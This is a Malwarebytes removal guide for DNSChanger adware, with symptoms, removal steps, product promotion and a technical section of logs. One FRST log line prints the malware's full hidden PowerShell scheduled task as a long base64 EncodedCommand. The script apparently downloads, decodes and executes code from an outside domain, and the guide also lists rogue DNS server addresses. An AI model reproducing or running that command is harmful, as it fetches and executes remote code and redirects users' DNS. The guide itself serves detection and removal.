Removal instructions for DNSChanger

[Metallica]

What is DNSChanger?

The Malwarebytes research team has determined that DNSChanger is adware. These adware applications display advertisements not originating from the sites you are browsing. More information about this variant can be found on our blog, Malwarebytes Unpacked.

How do I know if my computer is affected by DNSChanger?

You may see this type of Scheduled Task:

How did DNSChanger get on my computer?

Adware applications use different methods for distributing themselves. This particular one is installed by a trojan.

How do I remove DNSChanger?

Our program Malwarebytes Anti-Malware can detect and remove this potentially unwanted program.

• Please download Malwarebytes Anti-Malware to your desktop.
• Double-click mbam-setup-version.exe and follow the prompts to install the program.
• At the end, be sure a check-mark is placed next to the following:
  • Enable free trial of Malwarebytes Anti-Malware Premium
  • Launch Malwarebytes Anti-Malware
• Then click Finish.
• If an update is found, you will be prompted to download and install the latest version.
• Once the program has loaded, select Scan now. Or select the Threat Scan from the Scan menu.
• When the scan is complete , make sure that everything is set to "Quarantine", and click Apply Actions.
• Reboot your computer if prompted.

Is there anything else I need to do to get rid of DNSChanger?

• No, Malwarebytes' Anti-Malware removes DNSChanger completely.
• This adware creates some scheduled tasks. You can read here how to check for and, if necessary, remove Scheduled Tasks.

How would the full version of Malwarebytes Anti-Malware help protect me?

We hope our application and this guide have helped you eradicate this adware application.

As you can see below the full version of Malwarebytes Anti-Malware would have protected you against the DNSChanger adware. It would have warned you before the application could install itself, giving you a chance to stop it before it became too late.

and it blocks the connections that the script triggered by the Scheduled Task:

 

Technical details for experts

You will see these signs in a HijackThis log:

O17 - HKLM\System\CCS\Services\Tcpip\..\{45B09BD0-96AE-417A-BE38-54811B4E2126}: NameServer = 82.163.142.3 95.211.158.130O17 - HKLM\System\CS1\Services\Tcpip\Parameters: NameServer = 82.163.142.3 95.211.158.130O17 - HKLM\System\CS1\Services\Tcpip\..\{45B09BD0-96AE-417A-BE38-54811B4E2126}: NameServer = 82.163.142.3 95.211.158.130O17 - HKLM\System\CCS\Services\Tcpip\Parameters: NameServer = 82.163.142.3 95.211.158.130

You may see these signs in FRST logs:

 Tcpip\Parameters: [NameServer] 82.163.142.3 95.211.158.130 Tcpip\..\Interfaces\{45B09BD0-96AE-417A-BE38-54811B4E2126}: [NameServer] 82.163.142.3 95.211.158.130 C:\Windows\System32\Tasks\{A7C311A5-6C56-D4EE-F265-7A05BE511632} C:\ProgramData\{01dbb1e6-4064-1} C:\ProgramData\{01438842-2064-0}Task: {F83CF70E-87B0-4EB7-B6FA-214A258EA6A7} - System32\Tasks\{A7C311A5-6C56-D4EE-F265-7A05BE511632} => powershell.exe -windowstyle hidden -noninteractive -ExecutionPolicy bypass -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAGwAaQBrAGUAcgB1AHQALgBpAG4AZgBvAC8AdQAvAD8AcQA9AGwAXwBJAGsAMwA2AEwAYQBtAGcATQBUAFUAOAA2AFIAZABkAEUAQgBvAFMAZwAxAFIAQwBvADQAdwBlAE4ATgBsAHQAWQBLAGgAeABHAGQAcgBUADcASQB0AGwAMABtAFAAdAAyAGIATgA2ADEAWgBnAFoALQB6AFkAegBVAFIASQBnADEATwBsAFcAWgBXAHkAdABaAE8ANQBYAGsAQQBNAGIAXwBRAEQAbgBRAG0AYQBJAEEAYQBXAG8ASABhAGoAOABGAFUAQgBoAFgAcgBfADQAcAA3ADAAQgA5AEYAMQB1AHkAbwBCAEwAQQBvADIASABKAGoAbABlAEcAcABPAGYAMgBIAG0ATQAxAHoAQgA4AGsAcABMAHcAcABHAHkAdAB6AHcAUQA1AFMALQBYAEQAUwBiAEQAVQBVADgAUwBoAGsAQwBlAHMASQBWAHUAYwBFAEYAQgBkAEcATgA1AEUAQgBCAE8ASgA1AGkAMgBoAFcARQBsAG8AUQBpAGQAeQBqADgAegBoAFIAawBSAGQANgBYAG4AbwBGAGIANgBFAEIAYQBBAFAAUgBOAG8AOABZAGcAZgBHAHkAUgAwAFUAQwBEADQAZgBaAGgAVABiAHMANwA1AHgATQB5AEMAZgBmAG8AOABhAGYAZwA3AG4AYgBEAEUARAA0AFEAdwB1AHkAbQBwAHcAagBmAEsAbwBTADAAQwBHAHAANwBPAFEAUwBmAFUAagBxAFoARQBCAEQANABHAHoAYQBrAHYARABMAHMARQB6ADMASABnAHEANQBiAFgARABjADMAZQBlAGMAdQA3AEsAOAB4AG4ATwBFAFkAawBfAG0AdABjAEUAZAA1AE8AQgBoAHMAdgAxAGgAawBFAFMATABxAGkAOAAtAHIAYwBoADAAbQB5ADEAbwBqAHYAcABmAHEAYQBoAFEAUwBQAGEAZgAyAGsAXwA0AGYAUgB3AG0AZgAxAFoAagBqAEEAOQBmAFYAeABIAC0ANwBYAFIAMwBTAGUAbgBqAEMARQBZAGgAWABuAEcAXwBhAHEAawBFADUAcABQAGUAQQB6AFgAcABzAHcAWgBsAGwAYwA2ADUAcgBiAEEALQBMAFMAagA4ADYAcAB6AEEAZABtAGMANABEADgAWgBEAGEAVwBLAC0AVQBQAHEAJgBjAD0AUwBHAEMAUgA5AEcAegB6AGgAcgBkAEUAeQBDAGsARAA4ADAAQwAyAFYAQwBhAHgAXwA1AFMAXwBjAEQAawBpAFAAeABkAE0AUwBjADEAUgBkAE4AdwBxAGgAeABRAEcAWQByAGkAbwBvAGkAdgA4AFYANgBuAFkAVQBNAEIASgA3AEIAOQA5AHkAMgBhAFgAcwBFAFYATgBaAG8ANQBfADcAZgB3AHoAdABWAFgARAA1AHcAUgA5AHUAMwBpAEsAOQBnAFkAdABhAGIAWQBNAGkAcABKAEQAWABGAFcAMgB6AHgAeABlAHIAegBaAEIAeAB3AGcAMwBhAGoATQA5AHoAcgBjADUAVQAtAHMATQB4AHcAWABwAEUAVwA1AHAAMwBlAHUANwBoAEoAZQBZAG0AOQB1AFgAcQAzAC0AYwBXAEUAVQB0AGsARgBOAEoASABDAEcAWQBGAEoAZgBJAEcANABYAEEAegBWAGIAQQBiAHUAUgBhAFoASABmAGUAMAA1ADUAQgBxAHIAawAzADcAMABKAFMARwBIADEAMgBxAFoAMABCADIAaQBoAFYAQwBpAGEAWABuADIAMwBXADIAMgB0AFIARgBWAE4AOQBhAE8AOABUAHgAaAByAHIAYQBYAG8AOABQAFQAYQBsAGMARQBUADUAQgBRAFQAUgB5AG0ANQBZAHgAYwBtAFIATABVAGEAQQBtAEgAdQBIADUAYwA4AGsAUAB4AEMAZwBnAEUAYgBuAGMAMwBaAE0AXwBPAEgAQwB4AEUAWABKAFgAOABxAGsAegBiAHcARABDAGYAMgBBAFEAVgBkADgARQBNAGsASQB3AEUAZgAyAHEAaQBfAGoAUwBsAEwAbQBZAFcAUgBOADkAQgBvAGUAZgA0AHoANgBWAFYAMQBoAFMATQBxADMAVQBwAHYAcQB0AGsAXwBaAC0AbABTAEIAdQB2AG8ARQB3AFEAZwBaAE8ATgBhAC0AUQBIAEIAaQAwAGgAbQAtAGUAZgB3AG8AUgA2AHUAUABEAHoAVQBUAHoAZgBxAGoAagAzAFYAMwBEADQAegBGAEkAdABrAGYAVwBaADIASQBPAEEAdgBuAFIAVgAwAHQATwB5AE8AWQBfADAAcABJAEUAVAB0AGIAMABsAEgAMgBWAGQAMQBRAG8AdwBZAFkAawBtAFIATgBMAGwAWABwAFkAQQBJAEoAWgBBAFkAUwBOAGwAbQBiADcAbgBSAHMALQBqAHUASwAxAFgALQBSAEQANABzAHEAUgBRAHYAagBFAGcAMABLAEMATwBLAF8ARgBqAHcAUQBvAHAAVgBQAHcAWABWAGQAOQB2AGMAcQBZAFUAbwBFAE8ASgAyAHEATQBwAEkAMAA1AGEAbABiADkAQwBYAGkAQwBHAGgAaQBRAGQAQwBUAHUAbgBaAGEATQBoAFYAdgBoAGoAdwBnAC0ANQBFAEEAaQAwAGsAeABYAC0ASQBKAFkAbgBTAHgAMAB2AHcAdABFAHYAYwBFAG0AZwB2ADQAVwBzAEoAQgA1AEgALQAxADMAZQBhAEsAMQA5AFgATwA1ADAATwBTADQAWQBUAF8AVQBCAEkAUwA4AG4AUgBuAHEAegBPAHEARQB3AHgAYQBUAEUASABqAGMAdgA3ADMAbwBXADcAYQB4AGwAbgBZAEkAZABsADkAbQBjAG4ANgBjAFQAbAAyAHQATgBuAFgALQBlAGkAQQBEAEsANAAyAHAAcgBpAE0AUABWAG8AWQBiAF8AVgBtAHgASQBhADEAMABTAFMAJgByAD0ANgA4ADEANwA1ADgAMwAyADYAMQA4ADkAMwAyADYAOQA3ADkANwAiADsAJABzAHQAcwBrAD0AIgB7AEEANwBDADMAMQAxAEEANQAtADYAQwA1ADYALQBEADQARQBFAC0ARgAyADYANQAtADcAQQAwADUAQgBFADUAMQAxADYAMwAyAH0AIgA7ACQAcAByAGkAZAA9ACIARABUACIAOwAkAGkAbgBpAGQAPQAiADAAIgA7AHQAcgB5AHsAaQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AbAB0ACAAMgApAHsAYgByAGUAYQBrADsAfQAkAHYAPQBbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE8AUwBWAGUAcgBzAGkAbwBuAC4AVgBlAHIAcwBpAG8AbgA7AAoAaQBmACgAJAB2AC4ATQBhAGoAbwByACAALQBlAHEAIAA1ACkAewBpAGYAKAAoACQAdgAuAE0AaQBuAG8AcgAgAC0AbAB0ACAAMgApACAALQBBAE4ARAAgACgAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0AKQAuAFMAZQByAHYAaQBjAGUAUABhAGMAawBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgAC0AbAB0ACAAMgApACkAewBiAHIAZQBhAGsAOwB9AH0ACgBpAGYAKAAtAE4ATwBUACAAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBQAHIAaQBuAGMAaQBwAGEAbABdAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEkAZABlAG4AdABpAHQAeQBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0ACgAKQApAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AEkAbgBSAG8AbABlAF0AIAAiAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIgApACkAewBiAHIAZQBhAGsAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAdwBjACgAJAB1AHIAbAApAHsAJAByAHEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAByAHEALgBVAHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9ACQAdAByAHUAZQA7ACQAcgBxAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgB1AHMAZQByAC0AYQBnAGUAbgB0ACIALAAiAE0AbwB6AGkAbABsAGEALwA0AC4AMAAgACgAYwBvAG0AcABhAHQAaQBiAGwAZQA7ACAATQBTAEkARQAgADcALgAwADsAIABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwApACIAKQA7AHIAZQB0AHUAcgBuACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAcQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1AHIAbAApACkAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAZABzAHQAcgAoACQAcgBhAHcAZABhAHQAYQApAHsAJABiAHQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcgBhAHcAZABhAHQAYQApADsAJABlAHgAdAA9ACQAYgB0AFsAMABdADsAJABrAGUAeQA9ACQAYgB0AFsAMQBdACAALQBiAHgAbwByACAAMQA3ADAAOwBmAG8AcgAoACQAaQA9ADIAOwAkAGkAIAAtAGwAdAAgACQAYgB0AC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAGIAdABbACQAaQBdAD0AKAAkAGIAdABbACQAaQBdACAALQBiAHgAbwByACAAKAAoACQAawBlAHkAIAArACAAJABpACkAIAAtAGIAYQBuAGQAIAAyADUANQApACkAOwB9AAoAcgBlAHQAdQByAG4AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAJABiAHQALAAyACwAKAAkAGIAdAAuAEwAZQBuAGcAdABoAC0AJABlAHgAdAApACkAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AH0ACgAkAHMAYwA9AGQAcwB0AHIAKAB3AGMAKAAkAHMAdQByAGwAKQApADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAALQBjAG8AbQBtAGEAbgBkACAAIgAkAHMAYwAiADsAfQBjAGEAdABjAGgAewB9ADsAZQB4AGkAdAAgADAAOwA=

Alterations made by the installer:

File system details [View: All details] (Selection)---------------------------------------------------    Adds the folder C:\ProgramData\{01438842-2064-0}       Adds the file BITBF58.tmp"="21/01/2016 16:55, 0 bytes, HA    Adds the folder C:\ProgramData\{01dbb1e6-4064-1}       Adds the file BITBEFA.tmp"="21/01/2016 16:55, 0 bytes, HA    In the existing folder C:\Windows\System32\Tasks       Adds the file {A7C311A5-6C56-D4EE-F265-7A05BE511632}"="21/01/2016 16:55, 19232 bytes, ARegistry details [View: All details] (Selection)------------------------------------------------    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{45B09BD0-96AE-417A-BE38-54811B4E2126}]       "NameServer"=REG_SZ, "82.163.142.3 95.211.158.130"    [HKEY_CURRENT_USER\Console\%SystemRoot%_System32_svchost.exe]       "WindowPosition"="REG_DWORD", 201329664    [HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe]       "WindowPosition"="REG_DWORD", 201329664    [HKEY_CURRENT_USER\Console\taskeng.exe]       "WindowPosition"="REG_DWORD", 201329664

Malwarebytes Anti-Malware log:

(please note that Malwarebytes Anti-Malware performs more actions after reboot which were not recorded here)

Malwarebytes Anti-Malwarewww.malwarebytes.orgScan Date: 21/01/2016Scan Time: 17:18Logfile: mbamTrojanDRS.txtAdministrator: YesVersion: 2.2.0.1020Malware Database: v2016.01.21.03Rootkit Database: v2016.01.20.01License: PremiumMalware Protection: DisabledMalicious Website Protection: EnabledSelf-protection: DisabledOS: Windows 7 Service Pack 1CPU: x64File System: NTFSUser: {username}Scan Type: Threat ScanResult: CompletedObjects Scanned: 317157Time Elapsed: 4 min, 21 secMemory: EnabledStartup: EnabledFilesystem: EnabledArchives: EnabledRootkits: EnabledHeuristics: EnabledPUP: EnabledPUM: EnabledProcesses: 0(No malicious items detected)Modules: 0(No malicious items detected)Registry Keys: 0(No malicious items detected)Registry Values: 1Trojan.DNSChanger.DNSRst, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45B09BD0-96AE-417A-BE38-54811B4E2126}|NameServer, 82.163.142.3 95.211.158.130, Quarantined, [98af67d5c4d540f6b2af73c51de70cf4]Registry Data: 1Trojan.DNSChanger.DNSRst, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS|NameServer, 82.163.142.3 95.211.158.130, Good: (8.8.8.8), Bad: (82.163.142.3 95.211.158.130),Replaced,[262150eca4f554e20e3d863950b4ba46]Folders: 0(No malicious items detected)Files: 1Trojan.Agent.DRS, C:\Users\{username}\AppData\Local\Temp\{00038a4b}, Quarantined, [ef58013b2376c2741795fcc86f927987], Physical Sectors: 0(No malicious items detected)(end)

As mentioned before the full version of Malwarebytes Anti-Malware could have protected your computer against this threat.

We use different ways of protecting your computer(s):

• Dynamically Blocks Malware Sites & Servers
• Malware Execution Prevention

Save yourself the hassle and get protected.